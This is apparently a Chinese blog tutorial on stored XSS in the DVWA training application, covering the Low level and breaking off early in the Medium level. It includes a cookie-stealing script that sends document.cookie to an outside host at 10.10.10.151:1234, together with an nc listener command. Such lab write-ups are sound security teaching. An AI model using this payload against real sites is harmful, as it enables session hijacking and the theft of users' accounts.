通过DVWA学习存储型XSS漏洞

存储型XSS正如其名,是存储在服务器上,只要用户一访问到相应的页面就会被执行恶意代码,其危害比反射型的大得多。

Low级:

在输入正常的内容之后,所输入的内容会保存在该页面,那么先来测试是否存在XSS漏洞,分别对Name和Message两个选项进行测试、用Burpsuite抓包查看。

一开始在Name中输入发现有字符限制,其中涉及到对输入数据长度最大的限制,即maxlength=xx。由于其只是建立在前端浏览器的检测而已,所以可以通过客户端的开发者工具(按F12)或者通过burpsuite将maxlength的值改大或者直接删去便可。

通过DVWA学习存储型XSS漏洞_第1张图片

通过DVWA学习存储型XSS漏洞_第2张图片             通过DVWA学习存储型XSS漏洞_第3张图片

通过DVWA学习存储型XSS漏洞_第4张图片

通过DVWA学习存储型XSS漏洞_第5张图片

可知输入的JS代码直接嵌入到HTML代码中,因而得以执行。而在留言的模块中JS代码不会显示出来。结果可知两个变量都存在XSS注入漏洞。

在这种类型的漏洞体验中可以很明显地感受到,只要每次打开该页面都会进行弹窗,这也是和反射型的根本区别所在。



查看源代码:
' . mysql_error() . '
' ); } ?>

其中有几个函数:trim() 函数移除字符串两侧的空白字符或其他预定义字符;stripslashes() 函数删除由 addslashes() 函数添加的反斜杠;mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

在Name和Message中都使用了mysql_real_escape_string() 函数,使其能够过滤SQL注入但是却没能过滤XSS注入。另外Message中还调用了stripslashes() 函数来删除字符串中的反斜杠但是却对XSS注入没有过滤的作用。因而两个变量都是存在XSS漏洞的。


利用:

利用方法和反射型的相似。

下面只以窃取cookie信息为例,存储型和反射型的不同之处在于只要将恶意代码写入留言中,只要有用户访问该页面都会被窃取cookie信息:

将a.js放在第三方的服务器中。

a.js:

var img=new Image();
img.src=”http://10.10.10.151:1234/c.php?cookie=”+document.cookie;

在Kali中将恶意代码注入网页中:

接着在Kali中开启监听1234端口:

nc -nvlp 1234

然后在Ubuntu中访问该页面,就可以在Kali看到Ubuntu用户的cookie信息:

通过DVWA学习存储型XSS漏洞_第6张图片

在整个过程中,Ubuntu用户只是访问了该页面而没有输入任何的内容,其cookie值就这样被窃取了。



Medium级:

可以先来输入任何查看网页源码来猜测其使用了什么过滤机制:

在Name中输入常用的测试弹框的语句,结果如下:

通过DVWA学习存储型XSS漏洞_第7张图片

查看网页源代码发现前面的没有被过滤但是因为是标签类型所以没有显示在留言板上:

通过DVWA学习存储型XSS漏洞_第8张图片

因而可以推测Name中是对输入的字符串

你可能感兴趣的:(DVWA,漏洞,Kali,渗透,Web安全)